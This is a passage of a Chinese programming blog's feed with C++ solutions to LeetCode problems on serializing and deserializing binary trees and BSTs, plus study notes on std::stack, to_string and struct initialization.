class="built_in">TreeNode</span>((*list)[*pos]);</span><br><span class="line"> (*pos)++;</span><br><span class="line"> root->left = <span class="built_in">getTree</span>(pos,list);</span><br><span class="line"> root->right = <span class="built_in">getTree</span>(pos,list);</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//转化字符串向量为数字向量</span></span><br><span class="line"> <span class="function">vector<<span class="keyword">int</span>> <span class="title">convert</span><span class="params">(vector<string> s_list)</span></span>{</span><br><span class="line"> vector<<span class="keyword">int</span>> i_list {};</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">auto</span> s:s_list){</span><br><span class="line"> i_list.<span class="built_in">emplace_back</span>(<span class="built_in">stoi</span>(s));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> i_list;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//字符串的split</span></span><br><span class="line"> <span class="function">vector<string> <span class="title">split</span><span class="params">(string s)</span></span>{</span><br><span class="line"> vector<string> res {};</span><br><span class="line"> <span class="keyword">int</span> pos = <span class="number">0</span>,pos1 = pos;</span><br><span class="line"> <span class="keyword">while</span>(pos<s.<span class="built_in">length</span>()<span class="number">-1</span>){</span><br><span class="line"> pos1 = pos;</span><br><span class="line"> <span class="keyword">while</span>(s[pos1] != <span class="string">' '</span>){</span><br><span class="line"> pos1++;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//cout<<s.substr(pos,pos1-pos)<<' '<<pos<<pos1<<endl;</span></span><br><span class="line"> res.<span class="built_in">emplace_back</span>(s.<span class="built_in">substr</span>(pos,pos1-pos));</span><br><span class="line"> pos = pos1+<span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">// Your Codec object will be instantiated and called as such:</span></span><br><span class="line"><span class="comment">// Codec ser, deser;</span></span><br><span class="line"><span class="comment">// TreeNode* ans = deser.deserialize(ser.serialize(root));</span></span><br></pre></td></tr></table></figure><h3 id="leetcode-449-序列化和反序列化二叉搜索树"><a href="#leetcode-449-序列化和反序列化二叉搜索树" class="headerlink" title="leetcode 449 序列化和反序列化二叉搜索树"></a>leetcode 449 序列化和反序列化二叉搜索树</h3><h4 id="449-序列化和反序列化二叉搜索树"><a href="#449-序列化和反序列化二叉搜索树" class="headerlink" title="449. 序列化和反序列化二叉搜索树"></a><a href="https://leetcode.cn/problems/serialize-and-deserialize-bst/">449. 序列化和反序列化二叉搜索树</a></h4><p>难度中等356</p><p>序列化是将数据结构或对象转换为一系列位的过程,以便它可以存储在文件或内存缓冲区中,或通过网络连接链路传输,以便稍后在同一个或另一个计算机环境中重建。</p><p>设计一个算法来序列化和反序列化 <strong>二叉搜索树</strong> 。 对序列化/反序列化算法的工作方式没有限制。 您只需确保二叉搜索树可以序列化为字符串,并且可以将该字符串反序列化为最初的二叉搜索树。</p><p><strong>编码的字符串应尽可能紧凑。</strong></p><p><strong>示例 1:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = [2,1,3]</span><br><span class="line">输出:[2,1,3]</span><br></pre></td></tr></table></figure><p><strong>示例 2:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = []</span><br><span class="line">输出:[]</span><br></pre></td></tr></table></figure><p><strong>提示:</strong></p><ul><li>树中节点数范围是 <code>[0, 104]</code></li><li><code>0 <= Node.val <= 104</code></li><li>题目数据 <strong>保证</strong> 输入的树是一棵二叉搜索树。</li></ul><h4 id="题解-1"><a href="#题解-1" class="headerlink" title="题解"></a>题解</h4><p>使用先序遍历遍历所有节点,自然而然地就还原出了初始输入的数字序列。</p><p>之后再根据这个序列重新生成一次二叉搜索树。</p><p>解如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Definition for a binary tree node.</span></span><br><span class="line"><span class="comment"> * struct TreeNode {</span></span><br><span class="line"><span class="comment"> * int val;</span></span><br><span class="line"><span class="comment"> * TreeNode *left;</span></span><br><span class="line"><span class="comment"> * TreeNode *right;</span></span><br><span class="line"><span class="comment"> * TreeNode(int x) : val(x), left(NULL), right(NULL) {}</span></span><br><span class="line"><span class="comment"> * };</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Codec</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="comment">// Encodes a tree to a single string.</span></span><br><span class="line"> <span class="function">string <span class="title">serialize</span><span class="params">(TreeNode* root)</span> </span>{</span><br><span class="line"> <span class="comment">//如果树为空</span></span><br><span class="line"> <span class="keyword">if</span>(root == <span class="literal">NULL</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//使用先序优先遍历进行序列化操作</span></span><br><span class="line"> vector<<span class="keyword">int</span>> list {} ;</span><br><span class="line"> list.<span class="built_in">push_back</span>(root->val);</span><br><span class="line"> list = <span class="built_in">preOrder</span>(root->left,list);</span><br><span class="line"> list = <span class="built_in">preOrder</span>(root->right,list);</span><br><span class="line"> <span class="comment">//生成字符串</span></span><br><span class="line"> string s = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> num:list){</span><br><span class="line"> s = s + <span class="built_in">to_string</span>(num) + <span class="string">" "</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//cout<<s<<endl;</span></span><br><span class="line"> <span class="comment">//cout<<split(s)[1]<<endl;</span></span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//字符串的split</span></span><br><span class="line"> <span class="function">vector<string> <span class="title">split</span><span class="params">(string s)</span></span>{</span><br><span class="line"> vector<string> res {};</span><br><span class="line"> <span class="keyword">int</span> pos = <span class="number">0</span>,pos1 = pos;</span><br><span class="line"> <span class="keyword">while</span>(pos<s.<span class="built_in">length</span>()<span class="number">-1</span>){</span><br><span class="line"> pos1 = pos;</span><br><span class="line"> <span class="keyword">while</span>(s[pos1] != <span class="string">' '</span>){</span><br><span class="line"> pos1++;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//cout<<s.substr(pos,pos1-pos)<<' '<<pos<<pos1<<endl;</span></span><br><span class="line"> res.<span class="built_in">emplace_back</span>(s.<span class="built_in">substr</span>(pos,pos1-pos));</span><br><span class="line"> pos = pos1+<span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//递归先序遍历</span></span><br><span class="line"> <span class="function">vector<<span class="keyword">int</span>> <span class="title">preOrder</span><span class="params">(TreeNode* node, vector<<span class="keyword">int</span>> list)</span></span>{</span><br><span class="line"> <span class="keyword">if</span> (node == <span class="literal">NULL</span>){</span><br><span class="line"> <span class="keyword">return</span> list;</span><br><span class="line"> }</span><br><span class="line"> list.<span class="built_in">push_back</span>(node->val);</span><br><span class="line"> list = <span class="built_in">preOrder</span>(node->left, list);</span><br><span class="line"> list = <span class="built_in">preOrder</span>(node->right,list);</span><br><span class="line"> <span class="keyword">return</span> list;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//转化字符串向量为数字向量</span></span><br><span class="line"> <span class="function">vector<<span class="keyword">int</span>> <span class="title">convert</span><span class="params">(vector<string> s_list)</span></span>{</span><br><span class="line"> vector<<span class="keyword">int</span>> i_list {};</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">auto</span> s:s_list){</span><br><span class="line"> i_list.<span class="built_in">emplace_back</span>(<span class="built_in">stoi</span>(s));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> i_list;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Decodes your encoded data to tree.</span></span><br><span class="line"> <span class="function">TreeNode* <span class="title">deserialize</span><span class="params">(string data)</span> </span>{</span><br><span class="line"> <span class="comment">//如果为空树</span></span><br><span class="line"> <span class="keyword">if</span>(data==<span class="string">""</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//正常情况下</span></span><br><span class="line"> vector<string> s = <span class="built_in">split</span>(data);</span><br><span class="line"> vector<<span class="keyword">int</span>> new_s = <span class="built_in">convert</span>(s);</span><br><span class="line"> <span class="comment">//cout<<new_s[1];</span></span><br><span class="line"> <span class="comment">//root节点</span></span><br><span class="line"> TreeNode* root = <span class="built_in">construct</span>(new_s[<span class="number">0</span>]);</span><br><span class="line"> cout<<root->val<<endl;</span><br><span class="line"> <span class="comment">//遍历treenode内容</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">1</span>; i<new_s.<span class="built_in">size</span>(); i++){</span><br><span class="line"> TreeNode* new_node = <span class="built_in">construct</span>(new_s[i]);</span><br><span class="line"> TreeNode* tmp = root;</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>){</span><br><span class="line"> cout<<tmp->val;</span><br><span class="line"> <span class="keyword">if</span>(tmp->val>new_s[i]){</span><br><span class="line"> <span class="comment">//找到合适位置</span></span><br><span class="line"> <span class="keyword">if</span>(tmp->left == <span class="literal">NULL</span>){</span><br><span class="line"> tmp->left = new_node;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//继续遍历</span></span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> tmp = tmp->left;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">//找到合适位置</span></span><br><span class="line"> <span class="keyword">if</span>(tmp->right == <span class="literal">NULL</span>){</span><br><span class="line"> tmp->right = new_node;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//继续遍历</span></span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> tmp = tmp->right;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line"> <span class="function">TreeNode* <span class="title">construct</span><span class="params">(<span class="keyword">int</span> val)</span></span>{</span><br><span class="line"> TreeNode *root = <span class="keyword">new</span> <span class="built_in">TreeNode</span>(val);</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h3 id="坑爹的C"><a href="#坑爹的C" class="headerlink" title="坑爹的C++"></a>坑爹的C++</h3><p>开始时这俩程序怎么都过不了,显示超时,也找不出多少优化点,解决方案:</p><p><a href="https://leetcode.cn/problems/serialize-and-deserialize-binary-tree/solution/keng-die-de-chao-shi-by-yu-qi-dao-cheng-03oui/">https://leetcode.cn/problems/serialize-and-deserialize-binary-tree/solution/keng-die-de-chao-shi-by-yu-qi-dao-cheng-03oui/</a></p><p>C++中字符串拼接用 += 的效率远高于 s = s + “content” ,改了就成了!!!!</p><p><strong>!!!不能接受!!!</strong></p>]]></content>
<summary type="html"><h2 id="二叉树的序列化与反序列化"><a href="#二叉树的序列化与反序列化" class="headerlink" title="二叉树的序列化与反序列化"></a>二叉树的序列化与反序列化</h2></summary>
<category term="c++" scheme="http://example.com/tags/c/"/>
<category term="二叉树" scheme="http://example.com/tags/%E4%BA%8C%E5%8F%89%E6%A0%91/"/>
</entry>
<entry>
<title>今日C++起步小记4</title>
<link href="http://example.com/2022/05/11/%E4%BB%8A%E6%97%A5C-%E8%B5%B7%E6%AD%A5%E5%B0%8F%E8%AE%B04/"/>
<id>http://example.com/2022/05/11/%E4%BB%8A%E6%97%A5C-%E8%B5%B7%E6%AD%A5%E5%B0%8F%E8%AE%B04/</id>
<published>2022-05-10T17:29:02.000Z</published>
<updated>2022-05-12T01:01:22.361Z</updated>
<content type="html"><![CDATA[<h2 id="今日C-起步小记4"><a href="#今日C-起步小记4" class="headerlink" title="今日C++起步小记4"></a>今日C++起步小记4</h2><ul><li><p>C++ stack(STL stack)用法详解</p><p>C++ to_string函数</p><p>C++结构体初始化</p><span id="more"></span></li></ul><h2 id="C-stack-STL-stack-用法详解"><a href="#C-stack-STL-stack-用法详解" class="headerlink" title="C++ stack(STL stack)用法详解"></a>C++ stack(STL stack)用法详解</h2><p> 容器适配器是一个封装了序列容器的类模板,它在一般序列容器的基础上提供了一些不同的功能。之所以称作适配器类,是因为它可以通过适配容器现有的接口来提供不同的功能。</p><p> stack<T>容器适配器中的数据是以 LIFO 的方式组织的,这和自助餐馆中堆叠的盘子、箱子中的一堆书类似。图 1 展示了一个理论上的 stack 容器及其一些基本操作。只能访问 stack 顶部的元素;只有在移除 stack 顶部的元素后,才能访问下方的元素。</T></p><p> <img src="/2022/05/11/%E4%BB%8A%E6%97%A5C-%E8%B5%B7%E6%AD%A5%E5%B0%8F%E8%AE%B04/2-1P913101Q4T2.jpg" alt="img"></p><h3 id="stack初始化"><a href="#stack初始化" class="headerlink" title="stack初始化"></a>stack初始化</h3><p> 定义一个用来存放字符串对象的 stack 容器:</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::stack<std::string> words;</span><br></pre></td></tr></table></figure><p> stack 容器适配器的模板有两个参数。第一个参数是存储对象的类型,第二个参数是底层容器的类型。stack<T> 的底层容器默认是 deque<T> 容器,因此模板类型其实是 stack<typename t, typename container="deque<T">>。通过指定第二个模板类型参数,可以使用任意类型的底层容器,只要它们支持 back()、push_back()、pop_back()、empty()、size() 这些操作。下面展示了如何定义一个使用 list<T> 的堆栈:</T></typename></T></T></p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::stack<std::string,std::list<std::string>> fruit;</span><br></pre></td></tr></table></figure><p> 创建堆栈时,不能在初始化列表中用对象来初始化,但是可以用另一个容器来初始化,只要堆栈的底层容器类型和这个容器的类型相同。例如:</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::list<<span class="keyword">double</span>> values {<span class="number">1.414</span>, <span class="number">3.14159265</span>, <span class="number">2.71828</span>};std::stack<<span class="keyword">double</span>,std::list<<span class="keyword">double</span>>> <span class="built_in">my_stack</span> (values);</span><br></pre></td></tr></table></figure><p> 第二条语句生成了一个包含 value 元素副本的 my_stack。这里不能在 stack 构造函数中使用初始化列表;必须使用圆括号。如果没有在第二个 stack 模板类型参数中将底层容器指定为 list,那么底层容器可能是 deque,这样就不能用 list 的内容来初始化 stack;只能接受 deque。</p><p> stack<T> 模板定义了拷贝构造函数,因而可以复制现有的 stack 容器:</T></p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">std::stack<<span class="keyword">double</span>,std::list<<span class="keyword">double</span>>>copy_stack {my_stack}</span><br></pre></td></tr></table></figure><p> copy_stack 是 my_stack 的副本。如你所见,在使用拷贝构造函数时,既可以用初始化列表,也可以用圆括号。</p><h3 id="stack操作"><a href="#stack操作" class="headerlink" title="stack操作"></a>stack操作</h3><p> 和其他序列容器相比,stack 是一类存储机制简单、所提供操作较少的容器。下面是 stack 容器可以提供的一套完整操作:</p><ul><li>top():返回一个栈顶元素的引用,类型为 T&。如果栈为空,返回值未定义。</li><li>push(const T& obj):可以将对象副本压入栈顶。这是通过调用底层容器的 push_back() 函数完成的。</li><li>push(T&& obj):以移动对象的方式将对象压入栈顶。这是通过调用底层容器的有右值引用参数的 push_back() 函数完成的。</li><li>pop():弹出栈顶元素。</li><li>size():返回栈中元素的个数。</li><li>empty():在栈中没有元素的情况下返回 true。</li><li>emplace():用传入的参数调用构造函数,在栈顶生成对象。</li><li>swap(stack<T> & other_stack):将当前栈中的元素和参数中的元素交换。参数所包含元素的类型必须和当前栈的相同。对于 stack 对象有一个特例化的全局函数 swap() 可以使用。</T></li></ul><h2 id="C-to-string函数"><a href="#C-to-string函数" class="headerlink" title="C++ to_string函数"></a>C++ to_string函数</h2><p> <a href="http://zh.cppreference.com/w/cpp">C++</a> -> <a href="http://zh.cppreference.com/w/cpp/string">字符串库</a> -> <a href="http://zh.cppreference.com/w/cpp/string/basic_string">std::basic_string</a></p><p> <strong>定义于头文件</strong></p><p> std::string to_string(int value); (1) (C++11起)<br> std::string to_string(long value); (2) (C++11起)<br> std::string to_string(long long value); (3) (C++11起)<br> std::string to_string(unsigned value); (4) (C++11起)<br> std::string to_string(unsigned long value); (5) (C++11起)<br> std::string to_string(unsigned long long value); (6) (C++11起)<br> std::string to_string(float value); (7) (C++11起)<br> std::string to_string(double value); (8) (C++11起)<br> std::string to_string(long double value); (9) (C++11起)</p><p> std::to_string是C++标准(2011年)的最新版本中引入的功能。旧的编译器可能不支持它。</p><h2 id="C-结构体初始化"><a href="#C-结构体初始化" class="headerlink" title="C++结构体初始化"></a>C++结构体初始化</h2><blockquote><ul><li>三种结构体初始化方法</li></ul><p>1.利用结构体自带的默认构造函数<br>2.利用带参数的构造函数<br>3.利用默认无参的构造函数</p></blockquote><p> 注意:在建立结构体数组时,如果只写了带参数的构造函数将会出现数组无法初始化的错误!!!</p><p> 示例:</p> <figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span>{</span></span><br><span class="line"> <span class="keyword">int</span> data;</span><br><span class="line"> string str;</span><br><span class="line"> <span class="keyword">char</span> x;</span><br><span class="line"> <span class="comment">//注意构造函数最后这里没有分号哦!</span></span><br><span class="line"> <span class="built_in">node</span>() :<span class="built_in">x</span>(), <span class="built_in">str</span>(), <span class="built_in">data</span>(){} <span class="comment">//无参数的构造函数数组初始化时调用</span></span><br><span class="line"> <span class="built_in">node</span>(<span class="keyword">int</span> a, string b, <span class="keyword">char</span> c) :<span class="built_in">data</span>(a), <span class="built_in">str</span>(b), <span class="built_in">x</span>(c){}<span class="comment">//有参构造</span></span><br><span class="line">}N[<span class="number">10</span>];</span><br></pre></td></tr></table></figure><p> 程序实例:</p> <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span>{</span></span><br><span class="line"><span class="keyword">int</span> data;</span><br><span class="line">string str;</span><br><span class="line"><span class="keyword">char</span> x;</span><br><span class="line"><span class="comment">//自己写的初始化函数</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init</span><span class="params">(<span class="keyword">int</span> a, string b, <span class="keyword">char</span> c)</span></span>{</span><br><span class="line"><span class="keyword">this</span>->data = a;</span><br><span class="line"><span class="keyword">this</span>->str = b;</span><br><span class="line"><span class="keyword">this</span>->x = c;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">node</span>() :<span class="built_in">x</span>(), <span class="built_in">str</span>(), <span class="built_in">data</span>(){}</span><br><span class="line"><span class="built_in">node</span>(<span class="keyword">int</span> a, string b, <span class="keyword">char</span> c) :<span class="built_in">x</span>(c), <span class="built_in">str</span>(b), <span class="built_in">data</span>(a){}</span><br><span class="line">}N[<span class="number">10</span>];</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> N[<span class="number">0</span>] = { <span class="number">1</span>,<span class="string">"hello"</span>,<span class="string">'c'</span> }; </span><br><span class="line"> N[<span class="number">1</span>] = { <span class="number">2</span>,<span class="string">"c++"</span>,<span class="string">'d'</span> }; <span class="comment">//无参默认结构体构造体函数</span></span><br><span class="line"> N[<span class="number">2</span>].<span class="built_in">init</span>(<span class="number">3</span>, <span class="string">"java"</span>, <span class="string">'e'</span>); <span class="comment">//自定义初始化函数的调用</span></span><br><span class="line"> N[<span class="number">3</span>] = <span class="built_in">node</span>(<span class="number">4</span>, <span class="string">"python"</span>, <span class="string">'f'</span>); <span class="comment">//有参数结构体构造函数</span></span><br><span class="line"> N[<span class="number">4</span>] = { <span class="number">5</span>,<span class="string">"python3"</span>,<span class="string">'p'</span> };</span><br><span class="line"></span><br><span class="line"><span class="comment">//现在我们开始打印观察是否已经存入</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">5</span>; i++){</span><br><span class="line">cout << N[i].data << <span class="string">" "</span> << N[i].str << <span class="string">" "</span> << N[i].x << endl;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">system</span>(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}<span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span>{</span></span><br><span class="line"><span class="keyword">int</span> data;</span><br><span class="line">string str;</span><br><span class="line"><span class="keyword">char</span> x;</span><br><span class="line"><span class="comment">//自己写的初始化函数</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init</span><span class="params">(<span class="keyword">int</span> a, string b, <span class="keyword">char</span> c)</span></span>{</span><br><span class="line"><span class="keyword">this</span>->data = a;</span><br><span class="line"><span class="keyword">this</span>->str = b;</span><br><span class="line"><span class="keyword">this</span>->x = c;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">node</span>() :<span class="built_in">x</span>(), <span class="built_in">str</span>(), <span class="built_in">data</span>(){}</span><br><span class="line"><span class="built_in">node</span>(<span class="keyword">int</span> a, string b, <span class="keyword">char</span> c) :<span class="built_in">x</span>(c), <span class="built_in">str</span>(b), <span class="built_in">data</span>(a){}</span><br><span class="line">}N[<span class="number">10</span>];</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> N[<span class="number">0</span>] = { <span class="number">1</span>,<span class="string">"hello"</span>,<span class="string">'c'</span> }; </span><br><span class="line"> N[<span class="number">1</span>] = { <span class="number">2</span>,<span class="string">"c++"</span>,<span class="string">'d'</span> }; <span class="comment">//无参默认结构体构造体函数</span></span><br><span class="line"> N[<span class="number">2</span>].<span class="built_in">init</span>(<span class="number">3</span>, <span class="string">"java"</span>, <span class="string">'e'</span>); <span class="comment">//自定义初始化函数的调用</span></span><br><span class="line"> N[<span class="number">3</span>] = <span class="built_in">node</span>(<span class="number">4</span>, <span class="string">"python"</span>, <span class="string">'f'</span>); <span class="comment">//有参数结构体构造函数</span></span><br><span class="line"> N[<span class="number">4</span>] = { <span class="number">5</span>,<span class="string">"python3"</span>,<span class="string">'p'</span> };</span><br><span class="line"></span><br><span class="line"><span class="comment">//现在我们开始打印观察是否已经存入</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">5</span>; i++){</span><br><span class="line">cout << N[i].data << <span class="string">" "</span> << N[i].str << <span class="string">" "</span> << N[i].x << endl;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">system</span>(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h2 id="今日C-起步小记4"><a href="#今日C-起步小记4" class="headerlink" title="今日C++起步小记4"></a>今日C++起步小记4</h2><ul>
<li><p>C++ stack(STL stack)用法详解</p>
<p>C++ to_string函数</p>
<p>C++结构体初始化</p></li></ul></summary>
<category term="c++" scheme="http://example.com/tags/c/"/>
</entry>
<entry>
<title>二分查找</title>
<link href="http://example.com/2022/05/11/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/"/>
<id>http://example.com/2022/05/11/%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE/</id>
<published>2022-05-10T16:36:18.000Z</published>
<updated>2022-08-03T05:19:00.896Z</updated>
